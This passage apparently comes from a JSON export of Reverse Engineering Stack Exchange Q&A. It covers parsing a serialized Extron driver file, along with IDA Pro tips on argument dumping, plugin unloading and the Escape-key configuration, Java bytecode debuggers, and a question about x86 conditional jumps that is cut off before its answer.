LibraryId=2 ObjectId=1 Name=Extron.Configuration.Drivers.DriverFileAsset:\n      Extron.Configuration.Core.Assets.AssetBase`1[[Extron.Configuration.Contracts.Assets.IResourceAsset, Extron.Configuration.Contracts, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null]] _manifest\n          MemberReference(IdRef=6)\n      Extron.Configuration.Contracts.Enumeration.DriverPackageStateEnum _packageState\n          ClassWithMembers LibraryId=4 ObjectId=-7 Name=Extron.Configuration.Contracts.Enumeration.DriverPackageStateEnum:\n              value__ = 0\n      System.Collections.ObjectModel.ObservableCollection`1[[Extron.Configuration.Contracts.Assets.IAsset, Extron.Configuration.Contracts, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null]] _internalChildCollection\n          MemberReference(IdRef=8)\n      System.Version DriverDescriptorAsset+_fileVersion\n          MemberReference(IdRef=9)\n      System.Version DriverDescriptorAsset+_schemaVersion\n          MemberReference(IdRef=10)\n      System.Version DriverDescriptorAsset+_minAPIVersion\n          MemberReference(IdRef=11)\n      String DriverDescriptorAsset+_manufacturerName\n          BinaryObjectString(ObjectId=12, Value='NEC')\n      String DriverDescriptorAsset+_deviceTypeName\n          BinaryObjectString(ObjectId=13, Value='Video Projector')\n      String DriverDescriptorAsset+_filename\n          BinaryObjectString(ObjectId=14, Value='\\\\\\\\usa-home10\\\\home\\\\wes minner\\\\programming\\\\reviews\\\\nec_1_548 [nec lt280]\\\\finished\\\\nec_1_548_v1_0_0.pkp')\n      Int32 DriverDescriptorAsset+_contentHashCode\n          0\n      System.Collections.ObjectModel.ObservableCollection`1[[Extron.Configuration.Contracts.Assets.IAsset, Extron.Configuration.Contracts, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null]] DriverDescriptorAsset+_internalChildCollection\n          MemberReference(IdRef=8)\n      System.Collections.ObjectModel.ObservableCollection`1[[Extron.Configuration.Contracts.Assets.IAsset, Extron.Configuration.Contracts, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null]] AssetBase+_internalChildCollection\n          MemberReference(IdRef=8)\n      String AssetBase+_defaultName\n          BinaryObjectString(ObjectId=16, Value='nec_1_548')\n      String AssetBase+_name\n          MemberReference(IdRef=16)\n      System.Guid AssetBase+_guid\n          SystemClassWithMembers ObjectId=-17 Name=System.Guid:\n              _a = 2458436383\n              _b = 50071\n              _c = 18042\n              _d = 169\n              _e = 134\n              _f = 255\n              _g = 167\n              _h = 142\n              _i = 29\n              _j = 19\n              _k = 168\n      System.Nullable`1[[System.Int32, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]] AssetBase+_maxChildCount\n          ObjectNull()\n      Boolean AssetBase+_disableChildAssetParenting\n          False\n      Extron.Configuration.Contracts.Assets.IAsset AssetBase+_parentAsset\n          ObjectNull()\n@2396\n  ClassWithMembersAndTypes LibraryId=3 ObjectId=6 Name=Extron.Configuration.Core.Assets.AssetBase`1[[Extron.Configuration.Contracts.Assets.IResourceAsset, Extron.Configuration.Contracts, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null]]:\n      System.Collections.ObjectModel.ObservableCollection`1[[Extron.Configuration.Contracts.Assets.IResourceAsset, Extron.Configuration.Contracts, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null]] _internalChildCollection\n          MemberReference(IdRef=18)\n      System.Collections.ObjectModel.ObservableCollection`1[[Extron.Configuration.Contracts.Assets.IAsset, Extron.Configuration.Contracts, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null]] AssetBase+_internalChildCollection\n          ObjectNull()\n      String AssetBase+_defaultName\n          ObjectNull()\n      String AssetBase+_name\n          ObjectNull()\n      System.Guid AssetBase+_guid\n          ClassWithId ObjectId=-19 Name=System.Guid:\n              _a = 2458436383\n              _b = 50071\n              _c = 18042\n              _d = 169\n              _e = 134\n              _f = 255\n              _g = 167\n              _h = 142\n              _i = 29\n              _j = 19\n              _k = 168\n      System.Nullable`1[[System.Int32, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]] AssetBase+_maxChildCount\n          ObjectNull()\n      Boolean AssetBase+_disableChildAssetParenting\n          False\n      Extron.Configuration.Contracts.Assets.IAsset AssetBase+_parentAsset\n          ObjectNull()\n@3412\n  ClassWithMembers LibraryId=5 ObjectId=8 Name=System.Collections.ObjectModel.ObservableCollection`1[[Extron.Configuration.Contracts.Assets.IAsset, Extron.Configuration.Contracts, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null]]:\n      _monitor = MemberReference(IdRef=20)\n      Collection`1+items = MemberReference(IdRef=21)\n@3653\n  SystemClassWithMembers ObjectId=9 Name=System.Version:\n      _Major = 1\n      _Minor = 0\n      _Build = 0\n      _Revision = -1\n@3724\n  ClassWithId ObjectId=10 Name=System.Version:\n      _Major = 1\n      _Minor = 0\n      _Build = 0\n      _Revision = -1\n@3749\n  ClassWithId ObjectId=11 Name=System.Version:\n      _Major = 1\n      _Minor = 0\n      _Build = 0\n      _Revision = -1\n@3774\n  ClassWithMembers LibraryId=5 ObjectId=18 Name=System.Collections.ObjectModel.ObservableCollection`1[[Extron.Configuration.Contracts.Assets.IResourceAsset, Extron.Configuration.Contracts, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null]]:\n      _monitor = MemberReference(IdRef=22)\n      Collection`1+items = MemberReference(IdRef=23)\n@4023\n  ClassWithMembers LibraryId=5 ObjectId=20 Name=System.Collections.ObjectModel.ObservableCollection`1+SimpleMonitor[[Extron.Configuration.Contracts.Assets.IAsset, Extron.Configuration.Contracts, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null]]:\n      _busyCount = 0\n@4255\n  SystemClassWithMembers ObjectId=21 Name=System.Collections.Generic.List`1[[Extron.Configuration.Contracts.Assets.IAsset, Extron.Configuration.Contracts, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null]]:\n      _items = MemberReference(IdRef=24)\n      _size = 6\n      _version = 6\n@4469\n  ClassWithMembers LibraryId=5 ObjectId=22 Name=System.Collections.ObjectModel.ObservableCollection`1+SimpleMonitor[[Extron.Configuration.Contracts.Assets.IResourceAsset, Extron.Configuration.Contracts, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null]]:\n      _busyCount = 0\n@4709\n  SystemClassWithMembers ObjectId=23 Name=System.Collections.Generic.List`1[[Extron.Configuration.Contracts.Assets.IResourceAsset, Extron.Configuration.Contracts, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null]]:\n      _items = MemberReference(IdRef=25)\n      _size = 2\n      _version = 2\n@4931\n  BinaryArray(ObjectId=24, BinaryArrayTypeEnum=&lt;BinaryArrayType.Single: 0&gt;, Rank=1, Lengths=(8,), LowerBounds=None, TypeEnum=&lt;BinaryType.Class: 4&gt;, AdditionalTypeInfo=ClassTypeInfo(TypeName='Extron.Configuration.Contracts.Assets.IAsset', LibraryId=4))\n      MemberReference(IdRef=26)\n      MemberReference(IdRef=27)\n      MemberReference(IdRef=28)\n      MemberReference(IdRef=29)\n      MemberReference(IdRef=30)\n      MemberReference(IdRef=31)\n      ObjectNullMultiple256(NullCount=2)\n@5027\n  BinaryArray(ObjectId=25, BinaryArrayTypeEnum=&lt;BinaryArrayType.Single: 0&gt;, Rank=1, Lengths=(4,), LowerBounds=None, TypeEnum=&lt;BinaryType.Class: 4&gt;, AdditionalTypeInfo=ClassTypeInfo(TypeName='Extron.Configuration.Contracts.Assets.IResourceAsset', LibraryId=4))\n      MemberReference(IdRef=32)\n      MemberReference(IdRef=33)\n      ObjectNullMultiple256(NullCount=2)\n@5111\n  ClassWithMembersAndTypes LibraryId=3 ObjectId=26 Name=Extron.Configuration.Core.Assets.RevisionHistoryAsset:\n      DateTime _date\n          2014-08-01 02:08:28.537000\n      String _author\n          BinaryObjectString(ObjectId=34, Value='ngupta')\n      System.Version _version\n          MemberReference(IdRef=35)\n      String _notes\n          BinaryObjectString(ObjectId=36, Value='')\n      System.Collections.ObjectModel.ObservableCollection`1[[Extron.Configuration.Contracts.Assets.IAsset, Extron.Configuration.Contracts, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null]] _internalChildCollection\n          MemberReference(IdRef=37)\n      System.Collections.ObjectModel.ObservableCollection`1[[Extron.Configuration.Contracts.Assets.IAsset, Extron.Configuration.Contracts, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null]] AssetBase+_internalChildCollection\n          MemberReference(IdRef=37)\n      String AssetBase+_defaultName\n          BinaryObjectString(ObjectId=38, Value='Creation')\n      String AssetBase+_name\n          MemberReference(IdRef=38)\n      System.Guid AssetBase+_guid\n          ClassWithId ObjectId=-39 Name=System.Guid:\n              _a = 2458436383\n              _b = 50071\n              _c = 18042\n              _d = 169\n              _e = 134\n              _f = 255\n              _g = 167\n              _h = 142\n              _i = 29\n              _j = 19\n              _k = 168\n      System.Nullable`1[[System.Int32, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]] AssetBase+_maxChildCount\n          ObjectNull()\n      Boolean AssetBase+_disableChildAssetParenting\n          False\n      Extron.Configuration.Drivers.DriverFileAsset AssetBase+_parentAsset\n          MemberReference(IdRef=1)\n@6090\n  ClassWithId ObjectId=27 Name=Extron.Configuration.Core.Assets.RevisionHistoryAsset:\n      DateTime _date\n          2014-08-01 02:08:28.537000\n      String _author\n          BinaryObjectString(ObjectId=34, Value='ngupta')\n      System.Version _version\n          MemberReference(IdRef=35)\n      String _notes\n          BinaryObjectString(ObjectId=36, Value='')\n      System.Collections.ObjectModel.ObservableCollection`1[[Extron.Configuration.Contracts.Assets.IAsset, Extron.Configuration.Contracts, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null]] _internalChildCollection\n          MemberReference(IdRef=37)\n      System.Collections.ObjectModel.ObservableCollection`1[[Extron.Configuration.Contracts.Assets.IAsset, Extron.Configuration.Contracts, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null]] AssetBase+_internalChildCollection\n          MemberReference(IdRef=37)\n      String AssetBase+_defaultName\n          BinaryObjectString(ObjectId=38, Value='Creation')\n      String AssetBase+_name\n          MemberReference(IdRef=38)\n      System.Guid AssetBase+_guid\n          ClassWithId ObjectId=-39 Name=System.Guid:\n              _a = 2458436383\n              _b = 50071\n              _c = 18042\n              _d = 169\n              _e = 134\n              _f = 255\n              _g = 167\n              _h = 142\n              _i = 29\n              _j = 19\n              _k = 168\n      System.Nullable`1[[System.Int32, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]] AssetBase+_maxChildCount\n          ObjectNull()\n      Boolean AssetBase+_disableChildAssetParenting\n          False\n      Extron.Configuration.Drivers.DriverFileAsset AssetBase+_parentAsset\n          MemberReference(IdRef=1)\n@6195\n  ClassWithMembersAndTypes LibraryId=3 ObjectId=28 Name=Extron.Configuration.Core.Assets.AssetBase`1[[Extron.Configuration.Contracts.Assets.Drivers.IDriverCommandAsset, Extron.Configuration.Contracts, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null]]:\n      System.Collections.ObjectModel.ObservableCollection`1[[Extron.Configuration.Contracts.Assets.Drivers.IDriverCommandAsset, Extron.Configuration.Contracts, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null]] _internalChildCollection\n          MemberReference(IdRef=48)\n      System.Collections.ObjectModel.ObservableCollection`1[[Extron.Configuration.Contracts.Assets.IAsset, Extron.Configuration.Contracts, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null]] AssetBase+_internalChildCollection\n          ObjectNull()\n      String AssetBase+_defaultName\n          BinaryObjectString(ObjectId=49, Value='DriverCommands')\n      String AssetBase+_name\n          MemberReference(IdRef=49)\n      System.Guid AssetBase+_guid\n          ClassWithId ObjectId=-50 Name=System.Guid:\n              _a = 2458436383\n              _b = 50071\n              _c = 18042\n              _d = 169\n              _e = 134\n              _f = 255\n              _g = 167\n              _h = 142\n              _i = 29\n              _j = 19\n              _k = 168\n      System.Nullable`1[[System.Int32, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]] AssetBase+_maxChildCount\n          ObjectNull()\n      Boolean AssetBase+_disableChildAssetParenting\n          False\n      Extron.Configuration.Drivers.DriverFileAsset AssetBase+_parentAsset\n          MemberReference(IdRef=1)\n@7264\n  ClassWithMembersAndTypes LibraryId=3 ObjectId=29 Name=Extron.Configuration.Core.Assets.AssetBase`1[[Extron.Configuration.Contracts.Assets.Protocols.IProtocolAsset, Extron.Configuration.Contracts, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null]]:\n      System.Collections.ObjectModel.ObservableCollection`1[[Extron.Configuration.Contracts.Assets.Protocols.IProtocolAsset, Extron.Configuration.Contracts, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null]] _internalChildCollection\n          MemberReference(IdRef=52)\n      System.Collections.ObjectModel.ObservableCollection`1[[Extron.Configuration.Contracts.Assets.IAsset, Extron.Configuration.Contracts, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null]] AssetBase+_internalChildCollection\n          ObjectNull()\n      String AssetBase+_defaultName\n          BinaryObjectString(ObjectId=53, Value='SupportedProtocols')\n      String AssetBase+_name\n          MemberReference(IdRef=53)\n      System.Guid AssetBase+_guid\n          ClassWithId ObjectId=-54 Name=System.Guid:\n              _a = 2458436383\n              _b = 50071\n              _c = 18042\n              _d = 169\n              _e = 134\n              _f = 255\n              _g = 167\n              _h = 142\n              _i = 29\n              _j = 19\n              _k = 168\n      System.Nullable`1[[System.Int32, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]] AssetBase+_maxChildCount\n          ObjectNull()\n      Boolean AssetBase+_disableChildAssetParenting\n          False\n      Extron.Configuration.Drivers.DriverFileAsset AssetBase+_parentAsset\n          MemberReference(IdRef=1)\n@8331\n  ClassWithMembersAndTypes LibraryId=3 ObjectId=30 Name=Extron.Configuration.Core.Assets.AssetBase`1[[Extron.Configuration.Contracts.Assets.Drivers.IDriverModelAsset, Extron.Configuration.Contracts, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null]]:\n      System.Collections.ObjectModel.ObservableCollection`1[[Extron.Configuration.Contracts.Assets.Drivers.IDriverModelAsset, Extron.Configuration.Contracts, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null]] _internalChildCollection\n          MemberReference(IdRef=56)\n      System.Collections.ObjectModel.ObservableCollection`1[[Extron.Configuration.Contracts.Assets.IAsset, Extron.Configuration.Contracts, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null]] AssetBase+_internalChildCollection\n          ObjectNull()\n      String AssetBase+_defaultName\n          BinaryObjectString(ObjectId=57, Value='SupportedModels')\n      String AssetBase+_name\n          MemberReference(IdRef=57)\n      System.Guid AssetBase+_guid\n          ClassWithId ObjectId=-58 Name=System.Guid:\n              _a = 2458436383\n              _b = 50071\n              _c = 18042\n              _d = 169\n              _e = 134\n              _f = 255\n              _g = 167\n              _h = 142\n              _i = 29\n              _j = 19\n              _k = 168\n      System.Nullable`1[[System.Int32, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]] AssetBase+_maxChildCount\n          ObjectNull()\n      Boolean AssetBase+_disableChildAssetParenting\n          False\n      Extron.Configuration.Drivers.DriverFileAsset AssetBase+_parentAsset\n          MemberReference(IdRef=1)\n@9397\n  ClassWithMembersAndTypes LibraryId=3 ObjectId=31 Name=Extron.Configuration.Core.Assets.AssetBase`1[[Extron.Configuration.Contracts.Assets.Automation.IParamAsset, Extron.Configuration.Contracts, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null]]:\n      System.Collections.ObjectModel.ObservableCollection`1[[Extron.Configuration.Contracts.Assets.Automation.IParamAsset, Extron.Configuration.Contracts, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null]] _internalChildCollection\n          MemberReference(IdRef=60)\n      System.Collections.ObjectModel.ObservableCollection`1[[Extron.Configuration.Contracts.Assets.IAsset, Extron.Configuration.Contracts, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null]] AssetBase+_internalChildCollection\n          ObjectNull()\n      String AssetBase+_defaultName\n          BinaryObjectString(ObjectId=61, Value='DriverParams')\n      String AssetBase+_name\n          MemberReference(IdRef=61)\n      System.Guid AssetBase+_guid\n          ClassWithId ObjectId=-62 Name=System.Guid:\n              _a = 2458436383\n              _b = 50071\n              _c = 18042\n              _d = 169\n              _e = 134\n              _f = 255\n              _g = 167\n              _h = 142\n              _i = 29\n              _j = 19\n              _k = 168\n      System.Nullable`1[[System.Int32, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]] AssetBase+_maxChildCount\n          ObjectNull()\n      Boolean AssetBase+_disableChildAssetParenting\n          False\n      Extron.Configuration.Drivers.DriverFileAsset AssetBase+_parentAsset\n          MemberReference(IdRef=1)\n@10454\n  ClassWithMembersAndTypes LibraryId=3 ObjectId=32 Name=Extron.Configuration.Core.Assets.Resource.StreamResourceAsset:\n      System.Collections.ObjectModel.ObservableCollection`1[[Extron.Configuration.Contracts.Assets.IAsset, Extron.Configuration.Contracts, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null]] _internalChildCollection\n          MemberReference(IdRef=64)\n      String ResourceAssetBase+_key\n          BinaryObjectString(ObjectId=65, Value='nec_1_548_v1_0_0.pdf')\n      Object ResourceAssetBase+_content\n          MemberReference(IdRef=66)\n      Object ResourceAssetBase+_tag\n          BinaryObjectString(ObjectId=67, Value='nec_1_548_v1_0_0.pdf')\n      System.Collections.ObjectModel.ObservableCollection`1[[Extron.Configuration.Contracts.Assets.IAsset, Extron.Configuration.Contracts, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null]] ResourceAssetBase+_internalChildCollection\n          MemberReference(IdRef=64)\n      System.Collections.ObjectModel.ObservableCollection`1[[Extron.Configuration.Contracts.Assets.IAsset, Extron.Configuration.Contracts, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null]] AssetBase+_internalChildCollection\n          MemberReference(IdRef=64)\n      String AssetBase+_defaultName\n          BinaryObjectString(ObjectId=69, Value='nec_1_548_v1_0_0.pdf')\n      String AssetBase+_name\n          BinaryObjectString(ObjectId=70, Value='nec_1_548_v1_0_0.pdf')\n      System.Guid AssetBase+_guid\n          ClassWithId ObjectId=-71 Name=System.Guid:\n              _a = 2458436383\n              _b = 50071\n              _c = 18042\n              _d = 169\n              _e = 134\n              _f = 255\n              _g = 167\n              _h = 142\n              _i = 29\n              _j = 19\n              _k = 168\n      System.Nullable`1[[System.Int32, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]] AssetBase+_maxChildCount\n          ObjectNull()\n      Boolean AssetBase+_disableChildAssetParenting\n          False\n      Extron.Configuration.Core.Assets.AssetBase`1[[Extron.Configuration.Contracts.Assets.IResourceAsset, Extron.Configuration.Contracts, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null]] AssetBase+_parentAsset\n          MemberReference(IdRef=6)\n@11913\n  ClassWithId ObjectId=33 Name=Extron.Configuration.Core.Assets.Resource.StreamResourceAsset:\n      System.Collections.ObjectModel.ObservableCollection`1[[Extron.Configuration.Contracts.Assets.IAsset, Extron.Configuration.Contracts, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null]] _internalChildCollection\n          MemberReference(IdRef=64)\n      String ResourceAssetBase+_key\n          BinaryObjectString(ObjectId=65, Value='nec_1_548_v1_0_0.pdf')\n      Object ResourceAssetBase+_content\n          MemberReference(IdRef=66)\n      Object ResourceAssetBase+_tag\n          BinaryObjectString(ObjectId=67, Value='nec_1_548_v1_0_0.pdf')\n      System.Collections.ObjectModel.ObservableCollection`1[[Extron.Configuration.Contracts.Assets.IAsset, Extron.Configuration.Contracts, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null]] ResourceAssetBase+_internalChildCollection\n          MemberReference(IdRef=64)\n      System.Collections.ObjectModel.ObservableCollection`1[[Extron.Configuration.Contracts.Assets.IAsset, Extron.Configuration.Contracts, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null]] AssetBase+_internalChildCollection\n          MemberReference(IdRef=64)\n      String AssetBase+_defaultName\n          BinaryObjectString(ObjectId=69, Value='nec_1_548_v1_0_0.pdf')\n      String AssetBase+_name\n          BinaryObjectString(ObjectId=70, Value='nec_1_548_v1_0_0.pdf')\n      System.Guid AssetBase+_guid\n          ClassWithId ObjectId=-71 Name=System.Guid:\n              _a = 2458436383\n              _b = 50071\n              _c = 18042\n              _d = 169\n              _e = 134\n              _f = 255\n              _g = 167\n              _h = 142\n              _i = 29\n              _j = 19\n              _k = 168\n      System.Nullable`1[[System.Int32, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]] AssetBase+_maxChildCount\n          ObjectNull()\n      Boolean AssetBase+_disableChildAssetParenting\n          False\n      Extron.Configuration.Core.Assets.AssetBase`1[[Extron.Configuration.Contracts.Assets.IResourceAsset, Extron.Configuration.Contracts, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null]] AssetBase+_parentAsset\n          MemberReference(IdRef=6)\n@12046\n  ClassWithId ObjectId=35 Name=System.Version:\n      _Major = 1\n      _Minor = 0\n      _Build = 0\n      _Revision = -1\n@12071\n  ClassWithId ObjectId=37 Name=System.Collections.ObjectModel.ObservableCollection`1[[Extron.Configuration.Contracts.Assets.IAsset, Extron.Configuration.Contracts, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null]]:\n      _monitor = MemberReference(IdRef=20)\n      Collection`1+items = MemberReference(IdRef=21)\n@12090\n  ClassWithId ObjectId=42 Name=System.Version:\n      _Major = 1\n      _Minor = 0\n      _Build = 0\n      _Revision = -1\n@12115\n  ClassWithId ObjectId=44 Name=System.Collections.ObjectModel.ObservableCollection`1[[Extron.Configuration.Contracts.Assets.IAsset, Extron.Configuration.Contracts, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null]]:\n      _monitor = MemberReference(IdRef=20)\n      Collection`1+items = MemberReference(IdRef=21)\n@12134\n  ClassWithMembers LibraryId=5 ObjectId=48 Name=System.Collections.ObjectModel.ObservableCollection`1[[Extron.Configuration.Contracts.Assets.Drivers.IDriverCommandAsset, Extron.Configuration.Contracts, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null]]:\n      _monitor = MemberReference(IdRef=86)\n      Collection`1+items = MemberReference(IdRef=87)\n@12396\n  ClassWithMembers LibraryId=5 ObjectId=52 Name=System.Collections.ObjectModel.ObservableCollection`1[[Extron.Configuration.Contracts.Assets.Protocols.IProtocolAsset, Extron.Configuration.Contracts, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null]]:\n      _monitor = MemberReference(IdRef=88)\n      Collection`1+items = MemberReference(IdRef=89)\n@12655\n  ClassWithMembers LibraryId=5 ObjectId=56 Name=System.Collections.ObjectModel.ObservableCollection`1[[Extron.Configuration.Contracts.Assets.Drivers.IDriverModelAsset, Extron.Configuration.Contracts, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null]]:\n      _monitor = MemberReference(IdRef=90)\n      Collection`1+items = MemberReference(IdRef=91)\n@12915\n  ClassWithMembers LibraryId=5 ObjectId=60 Name=System.Collections.ObjectModel.ObservableCollection`1[[Extron.Configuration.Contracts.Assets.Automation.IParamAsset, Extron.Configuration.Contracts, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null]]:\n      _monitor = MemberReference(IdRef=92)\n      Collection`1+items = MemberReference(IdRef=93)\n@13172\n  ClassWithId ObjectId=64 Name=System.Collections.ObjectModel.ObservableCollection`1[[Extron.Configuration.Contracts.Assets.IAsset, Extron.Configuration.Contracts, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null]]:\n      _monitor = MemberReference(IdRef=20)\n      Collection`1+items = MemberReference(IdRef=21)\n</code></pre>\n\n<p>You may be able to load the file using some .NET functions, if you first import the driver's libraries. Otherwise, you can use the spec (which is very easy to read) to disassemble the file and extract the contents you want.</p>\n\n<hr>\n\n<p>As you noted, there are more files nested inside. Therefore your first step should be to parse the serialized stream to extract everything, then parse the contents of each class member (some of which are complete files, like the PDF and PKP files).</p>\n"
    },
    {
        "Id": "6960",
        "CreationDate": "2015-01-05T11:15:31.940",
        "Body": "<p>I'm using IDA Pro 6.5, and I got the offset of a function and its arguments.\nIt looks like this:</p>\n\n<pre><code>.text:0000C0DE        int __cdecl func(char* a1, int a2, int a3, int a4, int a5, int a6, char* a7)\n</code></pre>\n\n<p>However, it has tons of xrefs (more than 200!)</p>\n\n<p>Is there any way of dumping <code>a1</code> and <code>a7</code> arguments of every call to a list?<br>\nI cannot hook and dump the arguments at runtime.</p>\n\n<p>I know I can walk the xref list with IDC, but once I'm on the <code>call func</code> instruction, I don't know how to get arguments from the stack.</p>\n",
        "Title": "Is there any way to get a list of function arguments used with IDC?",
        "Tags": "|ida|ida-plugin|",
        "Answer": "<p>If you have the <a href=\"https://www.hex-rays.com/products/decompiler/index.shtml\" rel=\"noreferrer\">Hex-Rays Decompiler</a>, I'd recommend <a href=\"https://www.hex-rays.com/products/decompiler/manual/batch.shtml\" rel=\"noreferrer\">decompiling the entire binary</a> and then <a href=\"http://www.urbandictionary.com/define.php?term=grep\" rel=\"noreferrer\">grep</a>'ing the resulting decompilation for <code>func(</code>.</p>\n\n<p>This should provide you with more useful results than whatever IDC script one could develop.</p>\n"
    },
    {
        "Id": "7977",
        "CreationDate": "2015-01-08T10:50:34.857",
        "Body": "<p>IDC has a RunPlugin() function but there seems to be no way to unload a plugin explicitly. I searched high and wide - including the Hex-Rays forums - but found no answers. And judging by <a href=\"https://www.hex-rays.com/forum/viewtopic.php?p=9051#p9051\" rel=\"nofollow\">this post</a> I'm not the only one.</p>\n\n<p>At the moment I'm trying to figure out how certain SDK functions work, by adding some test code to a plugin and loading it into IDA. If I use <code>PLUGIN_KEEP</code> then I can experiment by calling my functions from the IDC prompt, but I have to close the database to unload the plugin. If I use <code>PLUGIN_UNL</code> then I effectively have only one function with a single integer parameter, which severely restricts experimentation...</p>\n\n<p>Currently I'm working around that by having <code>PLUGIN_KEEP</code> set upon load but patching <code>PLUGIN_UNL</code> into <code>PLUGIN.flags</code> if the plugin's run function is called with parameter 666, or if the parameter is 0 and this isn't the first call to the run function. The latter is convenient because it allows loading/unloading with a single hotkey, without farting around with the command prompt. The plugin gets loaded automatically when an .IDB is opened, and then it can be unloaded and reloaded freely via the hotkey configured in <code>PLUGIN.wanted_hotkey</code>.</p>\n\n<p>However, overall it seems a rather hackish approach relying on undocumented functionality. Is there a better/cleaner way of unloading a plugin, or are there caveats that I should be aware of?</p>\n",
        "Title": "Unload plugin without closing the .IDB?",
        "Tags": "|ida|ida-plugin|idapro-sdk|",
        "Answer": "<blockquote>\n  <p>Currently I'm working around that by having PLUGIN_KEEP set upon load\n  but patching PLUGIN_UNL into PLUGIN.flags</p>\n</blockquote>\n\n<p>This is not a \"workaround\" but actually a documented way to have IDA unload your plugin.</p>\n\n<pre><code>#define PLUGIN_UNL  0x0008      ///&lt; Unload the plugin immediately after calling 'run'.\n                                ///&lt; This flag may be set anytime.\n                                ///&lt; The kernel checks it after each call to 'run'\n                                ///&lt; The main purpose of this flag is to ease\n                                ///&lt; the debugging of new plugins.\n</code></pre>\n"
    },
    {
        "Id": "7991",
        "CreationDate": "2015-01-10T04:57:39.797",
        "Body": "<p>What is the good Java debugger for .class files, if no source code available? jdb is seems pretty weak :(\nI don't need to decompile .class, but I want to debug bytecode.</p>\n",
        "Title": "Java .class bytecode debugger",
        "Tags": "|java|",
        "Answer": "<p>Possibly the best disassembler &amp; assembler is <a href=\"https://github.com/Storyyeller/Krakatau\" rel=\"nofollow noreferrer\">Krakatau</a>. It's written in python. Bytecode viewer has built-in Krakatau, but it sometimes can't perform as expected.</p>\n\n<p>Another one is <a href=\"http://dirty-joe.com/\" rel=\"nofollow noreferrer\">dirtyjoe</a> which is also a great tool.</p>\n"
    },
    {
        "Id": "7994",
        "CreationDate": "2015-01-10T19:39:12.593",
        "Body": "<p>In the IDA View, I frequently use the Escape key to move the cursor back to the previous location.  However, sometimes I accidentally hit the Escape key while the focus is still on another view, which causes that view to close.  Reopening and positioning the affected view every time this happens can be cumbersome.  <strong>Is there a way to disable the Escape key <em>only</em> for particular views?</strong></p>\n",
        "Title": "Can I prevent IDA from closing the view when I hit the Escape key?",
        "Tags": "|ida|",
        "Answer": "<p>It turns out that this is possible.</p>\n\n<p>Navigate to the IDA program directory and open <code>cfg\\idagui.cfg</code>.  If you scroll down, you should see something like this:</p>\n\n<pre><code>// Built-in window ids\n#define BWN_EXPORTS 0x00000001 // exports\n#define BWN_IMPORTS 0x00000002 // imports\n#define BWN_NAMES   0x00000004 // names\n... several lines removed ...\n#define BWN_DISASMS 0x20000000 // disassembly views\n#define BWN_DUMPS   0x40000000 // hex dumps\n#define BWN_NOTEPAD 0x80000000 // notepad\n\nCLOSED_BY_ESC           = 0x9A0FFFFF    // All windows that are closed by Esc.\n                                        // If a windows is not closed by Esc,\n                                        // it can be closed by Alt-F3.\n                                        // (disasm/hexdump/navband can not be closed by Esc)\n</code></pre>\n\n<p>Unset bits from the <code>CLOSED_BY_ESC</code> variable that correspond to the views that you do not want to close with the Escape key.  Then save and reopen IDA.</p>\n"
    },
    {
        "Id": "8005",
        "CreationDate": "2015-01-13T13:58:32.977",
        "Body": "<p>I was wondering where i might encounter JO/JS/JP JCCs (and their not-counterparts) in compiler generated code? What would it mean? I scrolled through a lot of random code, but wasnt able to find a single instance in straight forward way.</p>\n\n<p>thanks.</p>\n",
        "Title": "When might a compiler generate JG/JS/JP conditional jumps?",
        "Tags": "|ida|disassembly|assembly|x86|",
